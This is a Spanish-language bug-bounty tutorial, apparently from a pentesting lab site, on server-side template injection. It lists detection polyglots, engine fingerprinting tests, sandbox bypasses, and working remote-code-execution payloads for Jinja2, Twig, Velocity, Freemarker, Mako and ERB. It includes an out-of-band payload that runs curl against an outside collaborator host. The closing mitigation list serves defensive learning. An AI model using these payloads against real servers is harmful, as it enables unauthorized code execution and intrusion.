Nuevos labs cada semana — Accede a todos desde 5€/mes

Nivel AvanzadoGratis

SSTI — Server-Side Template Injection en Jinja2, Twig, Velocity y Freemarker

Detección con polyglots, identificación del engine, escalación a RCE en Jinja2/Python, Twig/PHP, Velocity/Java. Patrones donde se mete user input en templates.

Gorka El Bochi9 de mayo de 202612 min

Respuesta rápida

SSTI ocurre cuando user input acaba dentro de un template renderizado server-side. La mayoría de engines (Jinja2, Twig, Velocity, Freemarker, Mako, ERB) permiten llamadas a métodos del lenguaje host → escalación rápida a RCE. Detección con polyglot ${{<%[%'"}}%\ que rompe casi cualquier engine. Identificación con {{7*7}} y variantes. Bounties típicos: €2.000-€10.000 (RCE).


Vectores típicos

Apps que generan emails/PDFs/respuestas dinámicas a partir de templates suelen ser candidatas:

  • Email customization: "Bienvenido {{user.name}}" donde user.name viene del cliente.
  • Notification settings: subject template con placeholders.
  • Error messages: con variables interpoladas (algunos frameworks).
  • Reporting builders: define un template, sale un PDF.
  • Legal/contract documents generados con datos del usuario.
  • CMS donde el editor mete plantillas con variables.

Detección

Polyglot universal

bash
${{<%[%'"}}%\

Este string rompe la sintaxis de casi todos los template engines. Si el response cambia (error 500, página rota) → posible SSTI.

Identificación del engine

Test inicial: {{7*7}}.

OutputEngine probable
49Jinja2, Twig
7777777Twig (con string concat)
{{7*7}} (literal)No SSTI (el template no se interpreta)
ErrorPossible different engine

Test diferenciador Jinja2 vs Twig:

arduino
{{7*'7'}}
OutputEngine
7777777Jinja2
49 (numeric)Twig

Para Java engines (Velocity, Freemarker):

bash
${7*7}

Si retorna 49 → Velocity, Freemarker, o similar.

Para ERB (Ruby): <%= 7*7 %>.


Escalación a RCE

Jinja2 (Python)

Jinja2 es el más común. Escapar el sandbox via cadenas de objetos:

python
{{ ''.__class__.__mro__[1].__subclasses__() }}

Devuelve lista de subclases. Identificar índice de subprocess.Popen o similar.

python
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('id', shell=True, stdout=-1).communicate()[0] }}

Variantes según versión de Python y subclases disponibles. Más reciente:

python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Twig (PHP)

twig
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

O bypass más moderno:

twig
{{["id"]|filter("system")}}

Velocity (Java)

java
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")

Freemarker (Java)

java
<#assign value="freemarker.template.utility.Execute"?new()>
${value("id")}

Mako (Python)

python
<%
import os
x=os.popen('id').read()
%>
${x}

ERB (Ruby)

ruby
<%= `id` %>
<%= system('id') %>
<%= IO.popen('id').read %>

SSTI sandbox bypasses

Engines modernos tienen sandbox que bloquea __class__, __subclasses__, etc. Bypasses:

Jinja2 sandbox bypass

python
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

Si request o config están en el contexto, son source de globals.

Filtros restringidos

Si __class__ está bloqueado pero attr no:

python
{{ ''|attr('__class__')|attr('__mro__')[1]|attr('__subclasses__')() }}

Blind SSTI

Si no hay output visible:

Time-based

python
{{ '7'*999999999 }}                  # huge string, lag observable
{{ 'x'*99 if 7*7 == 49 else 'y' }}   # condicional time

OOB

python
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('curl yourcollab.collab.tld/SSTI', shell=True, stdout=-1) }}

Burp Collaborator captura el hit.


Endpoints típicos donde encontrarlo

  • Email customization en notification settings.
  • Subject de emails broadcast.
  • PDF generators con templates personalizables.
  • Error pages con variables (más raro pero existente).
  • Reporting con queries que producen output formateado.
  • CMS con widgets/plugins editables.
  • Newsletters templates editables por user con preview.

Detection blind si no se ve output

python
# Jinja2
{{ '{}'.format(7*7) }}     # solo retorna 49 si interpola
{{ self.__init__.__globals__.__builtins__.__import__('time').sleep(5) }}

Time-based + OOB son tus dos amigos cuando es blind.


Hunting checklist

  • ¿Hay endpoints donde el cliente puede escribir contenido que aparece en emails, PDFs, reportes?
  • ¿Hay "preview" de templates? Vector directo.
  • ¿Probar polyglot ${{<%[%'"}}%\ y observar errores?
  • ¿{{7*7}} retorna 49? → SSTI confirmado.
  • ¿El engine permite acceso a globals/builtins? Prueba __class__.
  • ¿Si el sandbox bloquea, probar variantes con attr(), request.application, config?
  • ¿Blind: time-based + OOB con Collaborator?

Mitigación correcta

  1. NO renderizar templates con user input. Usar {{ user_input }} como datos, nunca {{ template_string }}.
  2. Sandboxed environment del template engine cuando user sí escribe templates (ej. Jinja2 SandboxedEnvironment).
  3. Whitelist estricta de variables/funciones permitidas (sin __class__, __import__, etc).
  4. Logical/visual templates (Liquid) que no permiten Python/Ruby code arbitrario.
  5. Input validation antes de pasar al template.

Labs relacionados

Practica detección, identificación de engine y escalación SSTI a RCE en Jinja2, Twig y Velocity: labs de SSTI.

Practica esto en un lab

Ssti

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados